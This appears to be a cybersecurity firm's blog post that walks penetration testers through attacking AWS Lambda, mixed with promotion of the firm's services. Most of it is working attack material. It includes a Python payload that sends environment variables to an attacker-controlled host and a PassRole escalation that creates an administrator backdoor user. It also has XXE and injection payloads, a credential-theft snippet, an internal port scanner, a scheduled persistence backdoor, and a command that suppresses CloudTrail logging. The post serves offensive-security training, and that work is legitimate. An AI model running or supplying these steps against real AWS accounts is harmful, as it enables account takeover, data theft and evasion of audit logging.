Date
February 5, 2025
Author
Karan Patel
,
CEO

Serverless computing has fundamentally changed how organizations build and deploy applications. AWS Lambda, the dominant force in this space, lets developers run code without provisioning or managing servers. But this architectural shift has not eliminated security risks. It has redistributed them, buried them deeper into IAM policies, environment variables, event triggers, and ephemeral execution contexts.

For penetration testers, attacking serverless environments requires a different playbook. Traditional network-based techniques fall short when there is no persistent server to pivot through. This guide walks through the core techniques used in AWS Lambda pentesting, the commands that deliver results, and the misconfigurations that organizations consistently overlook.

If your organization needs a professional assessment of its serverless infrastructure, Redfox Cybersecurity offers specialized cloud pentesting services built specifically for modern AWS environments.

Why AWS Lambda Presents Unique Security Challenges

Lambda functions inherit permissions from IAM roles, process untrusted input from event sources, and store secrets in ways that are often poorly audited. Unlike traditional server environments, defenders rarely apply the same scrutiny to function-level access controls as they do to EC2 instances or RDS databases.

From an attacker's perspective, a single over-permissioned Lambda function can become the pivot point for cross-account data access, secret exfiltration, privilege escalation, and lateral movement across an entire AWS organization.

The attack surface includes:

  • IAM role permissions attached to the Lambda execution role
  • Environment variables containing API keys, database credentials, and tokens
  • Event sources such as API Gateway, S3, SQS, and SNS that pass user-controlled input
  • Layers and deployment packages that may contain vulnerable dependencies
  • VPC configurations that expose Lambda to internal network segments

Phase 1: Reconnaissance and Enumeration

Before exploiting anything, you need a complete picture of the Lambda environment. This phase focuses on discovering functions, understanding their configurations, and mapping their permissions.

Listing Lambda Functions

Start with a broad enumeration of all Lambda functions in the target account. If you have compromised AWS credentials with read access, the following commands give you an immediate inventory:

aws lambda list-functions --region us-east-1 --output json

[cta]

To iterate across all regions programmatically:

for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
 echo "Region: $region"
 aws lambda list-functions --region $region --query 'Functions[].FunctionName' --output text
done

[cta]

Extracting Function Configuration

Once you have a target function, pull its full configuration. This reveals the runtime, handler, memory allocation, timeout, and most critically, the IAM execution role:

aws lambda get-function-configuration --function-name target-function --region us-east-1

[cta]

Look specifically at the Role field. That ARN is your next target.

Reviewing the Execution Role

The IAM role attached to a Lambda function is often the most exploitable element in the entire serverless stack. Extract its policies with:

aws iam get-role --role-name lambda-execution-role-name
aws iam list-attached-role-policies --role-name lambda-execution-role-name
aws iam list-role-policies --role-name lambda-execution-role-name

[cta]

For inline policies:

aws iam get-role-policy --role-name lambda-execution-role-name --policy-name policy-name

[cta]

Organizations frequently attach AdministratorAccess or overly broad S3 and DynamoDB permissions to Lambda roles without understanding the blast radius. A single function with iam:PassRole and lambda:CreateFunction permissions is enough to escalate privileges to full account compromise.

Redfox Cybersecurity's penetration testing team routinely finds critical privilege escalation paths through Lambda execution roles during cloud security assessments.

Phase 2: Environment Variable Extraction

Environment variables in Lambda are a goldmine. Developers commonly store database URIs, third-party API keys, internal service tokens, and even AWS credentials inside function environment variables.

Reading Environment Variables from Configuration

If you have lambda:GetFunction permissions, extract the environment variables directly:

aws lambda get-function-configuration \
 --function-name target-function \
 --query 'Environment.Variables' \
 --output json

[cta]

Runtime Extraction via Code Injection

If the function processes user-supplied input and reflects output, you can attempt to exfiltrate environment variables by injecting payloads through the event source. A simple Python-based Lambda exfiltration payload looks like this when injected via an API Gateway parameter:

import os
import urllib.request

def handler(event, context):
   env_vars = dict(os.environ)
   data = str(env_vars).encode('utf-8')
   req = urllib.request.Request(
       'https://attacker-controlled-server.com/exfil',
       data=data,
       method='POST'
   )
   urllib.request.urlopen(req)

[cta]

When code execution is possible through a deserialization flaw or server-side template injection in the function's runtime, this pattern allows full environment extraction over outbound HTTP.

Phase 3: Event Source Exploitation

Lambda functions are triggered by event sources. Each event source introduces a distinct injection surface.

API Gateway Injection

API Gateway is the most common Lambda trigger. If the function passes query parameters or request body fields directly into database queries, shell commands, or template renderers, standard injection techniques apply.

Test for Server-Side Template Injection (SSTI) with:

GET /api/resource?name={{7*7}} HTTP/1.1

[cta]

A response containing 49 confirms SSTI in a Jinja2 or Twig runtime context. From there, remote code execution is a few payload iterations away.

For SQL injection through API Gateway-backed Lambda:

curl -X POST https://api-id.execute-api.us-east-1.amazonaws.com/prod/users \
 -H "Content-Type: application/json" \
 -d '{"userId": "1 OR 1=1--"}'

[cta]

S3 Event Trigger Exploitation

Lambda functions triggered by S3 uploads often process file content without sufficient validation. Malicious file uploads can trigger path traversal, XML external entity (XXE) injection, or command injection inside the processing logic.

Upload a crafted XML file to a monitored S3 bucket:

aws s3 cp malicious.xml s3://target-bucket/uploads/malicious.xml

Where malicious.xml contains:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

If the Lambda function parses this XML without disabling external entity resolution, the contents of /etc/passwd (or any accessible file in the ephemeral container) will appear in the function's response or logs.

Phase 4: IAM Privilege Escalation Through Lambda

Lambda-based privilege escalation is one of the most powerful attack paths in AWS environments. The key techniques exploit the ability to create or update Lambda functions with an existing over-permissioned role.

Privilege Escalation via PassRole and CreateFunction

If a compromised user has iam:PassRole and lambda:CreateFunction, they can create a new Lambda function using a high-privilege execution role and invoke it to perform actions as that role:

aws lambda create-function \
 --function-name privesc-function \
 --runtime python3.11 \
 --role arn:aws:iam::123456789012:role/AdminRole \
 --handler index.handler \
 --zip-file fileb://privesc.zip \
 --region us-east-1

[cta]

The zip file contains a function that creates a new IAM user or exports credentials:

import boto3
import json

def handler(event, context):
   iam = boto3.client('iam')
   iam.create_user(UserName='backdoor-user')
   iam.attach_user_policy(
       UserName='backdoor-user',
       PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
   )
   keys = iam.create_access_key(UserName='backdoor-user')
   return keys['AccessKey']

[cta]

Invoke the function:

aws lambda invoke \
 --function-name privesc-function \
 --payload '{}' \
 output.json

cat output.json

[cta]

This yields new administrative credentials. The attack requires no CVE, no malware, and leaves minimal forensic traces in environments without CloudTrail alerting.

Updating an Existing Function for Escalation

If lambda:UpdateFunctionCode is available instead of CreateFunction:

aws lambda update-function-code \
 --function-name existing-function \
 --zip-file fileb://malicious.zip \
 --region us-east-1

[cta]

This overwrites the existing function code with an attacker-controlled payload while preserving the original execution role, which may carry higher privileges than the attacker currently holds.

Professional red team engagements conducted by Redfox Cybersecurity regularly demonstrate this exact escalation path in client AWS accounts, often within the first hour of a cloud penetration test.

Phase 5: Post-Exploitation and Lateral Movement

Once you have code execution inside a Lambda function, the post-exploitation phase focuses on expanding access across the AWS environment.

IMDS and Credential Theft

Lambda functions running in a VPC can query the Instance Metadata Service to retrieve temporary credentials associated with the execution role. From within function code:

import urllib.request

url = 'http://169.254.170.2/v2/credentials'
# Lambda-specific metadata endpoint
req = urllib.request.Request(url)
response = urllib.request.urlopen(req)
print(response.read())

[cta]

These credentials can then be used outside the Lambda environment for lateral movement.

Accessing Internal VPC Resources

Lambda functions attached to a VPC can reach internal services that are not exposed to the internet, including RDS instances, ElastiCache clusters, and internal microservices. Use the function's network access to port-scan internal CIDR ranges:

import socket

def scan_host(ip, port):
   try:
       s = socket.socket()
       s.settimeout(0.5)
       s.connect((ip, port))
       return True
   except:
       return False

internal_ips = ['10.0.1.{}'.format(i) for i in range(1, 255)]
open_hosts = [ip for ip in internal_ips if scan_host(ip, 3306)]
print("MySQL hosts:", open_hosts)

[cta]

This converts the compromised Lambda function into an internal network probe, exposing database endpoints, internal APIs, and administrative services.

Phase 6: Covering Tracks and Persistence

Attackers who want to maintain access after a Lambda function is cleaned up will abuse CloudFormation, EventBridge schedules, or Lambda layers to maintain persistence.

EventBridge Scheduled Backdoor

Create a recurring trigger that re-invokes a malicious function every 5 minutes:

aws events put-rule \
 --name persistence-rule \
 --schedule-expression "rate(5 minutes)" \
 --state ENABLED

aws events put-targets \
 --rule persistence-rule \
 --targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:123456789012:function:backdoor-function"

[cta]

Disabling CloudTrail Logging for Lambda

If the compromised role has CloudTrail permissions, an attacker can suppress logging for specific services:

aws cloudtrail put-event-selectors \
 --trail-name main-trail \
 --event-selectors '[{"ReadWriteType":"All","IncludeManagementEvents":false}]'

[cta]

This reduces the forensic footprint of subsequent Lambda invocations.

Defensive Recommendations

Every offensive technique described here maps to a concrete defensive control. Organizations should:

Apply least-privilege IAM roles to every Lambda function, enforce resource-based policies on function invocation, enable AWS CloudTrail for all Lambda data events, use AWS Secrets Manager instead of environment variables for sensitive credentials, implement runtime security monitoring with tools like AWS GuardDuty and third-party CNAPP solutions, and conduct regular serverless-specific penetration tests to validate these controls before attackers do.

Secure Your Serverless Infrastructure Before Attackers Do

The techniques covered in this guide represent a fraction of what a skilled attacker can accomplish inside a misconfigured AWS Lambda environment. Real-world engagements go further, including cross-account trust exploitation, supply chain attacks through Lambda layers, and chaining multiple low-severity misconfigurations into full organizational compromise.

The most effective defense is proactive testing. Understanding exactly how your Lambda functions would fail under attack, and remediating those gaps before they become incidents, is the standard that modern security programs are held to.

Redfox Cybersecurity offers comprehensive cloud penetration testing services covering AWS Lambda, API Gateway, IAM, S3, and the full serverless attack surface. Their assessments produce actionable findings mapped to real exploitation paths, not just compliance checkboxes.

If your organization runs workloads on AWS and has not had a dedicated serverless security assessment, reach out to Redfox Cybersecurity to understand your actual exposure before someone else does.

Copy Code